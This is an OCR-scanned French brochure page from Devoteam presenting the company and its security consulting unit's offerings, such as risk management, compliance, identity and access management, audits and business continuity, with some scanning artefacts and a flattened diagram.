dans 23 pays et fort de 4.500 collaborateurs.

A I'heure ou les entreprises se concentrent sur leur coeur de métier et intensifient leurs efforts de
compétitivité, la mission de Devoteam est de mettre le meilleur de la technologie au service de leurs
projets, avec des solutions fiables et innovantes pour les aider a optimiser leur potentiel.

Devoteam allie une approche stratégique — qui prend en compte la problématique globale du client — et
une démarche pragmatique, qui apporte la meilleure réponse technique a chaque étape d’un projet.

Notre positionnement, résumé dans notre base-line : « CONNECTING BUSINESS & TECHNOLOGY», implique
de:

I Connaitre le métier de nos clients,
I Comprendre leurs besoins,

I Mettre la technologie au service de leurs objectifs stratégiques.

Devoteam ambitionne d’étre I'acteur de référence du conseil technologique en Europe.
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|3V SECURITE,

LA 3USINESS UNIT SECURITE

La sécurité est une des trois offres stratégiques du Groupe Devoteam sur le marché européen. Quatre-
cents consultants sont dédiés a ces activités dont cent-cinquante en France.

Des études réalisées en amont, jusqu'a la phase de contréle des systémes de sécurité en passant par la
mise en place de processus et de solutions, Devoteam propose a ses clients une offre globale de conseil
et d'ingénierie clé en mains qui s'articule en plusieurs points :

Le Risque : PSSI, SMSI, Risque IT, Risque Opérationel

La conformité : IT, fonctionnelle et Iégislative

La Sécurité : AMOA, Architecture, Assistance RSSI, sensibilisation et Gouvernance

La mise en place de solutions d'assistance a la réduction des risques métiers telles que la
gestion des utilisateurs (droits, accés, réles et identités), gestion des incidents (vulnérabilités,
stockage et corrélation des événements de sécurité).

pONM~

Classification des risgues métiers

Stratégie de gestion des risques

Métriques d'analyse des risques

Intégrationde la dimension risque dans les études
d'opportunité

Pilotage des risques

Définition d’une organisation sécurité
Conception de réles et profils métier
Sensihilisation, formation

Veille technologique Organisation (:es_stlon des
Intelligence et surveillance securite risques Standard organisationnels ou

économigue technigues
Procédures

Audits, tests d'intrusion
. Physique

. VE\|I|E'. et . =Processus
intelligence Compliance & -Organisation

économique PSSl & contréle *Technique

Politique de sécurité globale

gouvernance
Securité physigue, Tableaux de bord ssi
Controle des accés aux sites Sécurité
Dispositifde protection incendie, dégats BC p/[)Rp

des eaux, foudre... environnementale 2 .
Gestion de crise

Stratégie BCP/BRP
Conception de BCR/BRP
Sécurité Tests et simulations

Analyse des scénariis de crise
Organisation et moyens
Tests et simulations

Politique technique de sécurité
Stratégie d’ évolution logique IT
AMOA/AMOE solution de sécurité
Etatdel'artet du marche

Identity & Acces Mgnt

Analyse et gestion des incidents de
sécurité...

Offres sécurité du groupe Devoteam
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73, rue Anatole France 92300 Levallois-Perret

Tel. : +33 (0) 41 49 48 48 - Email : info@devoteam.com
www.devoteam.com



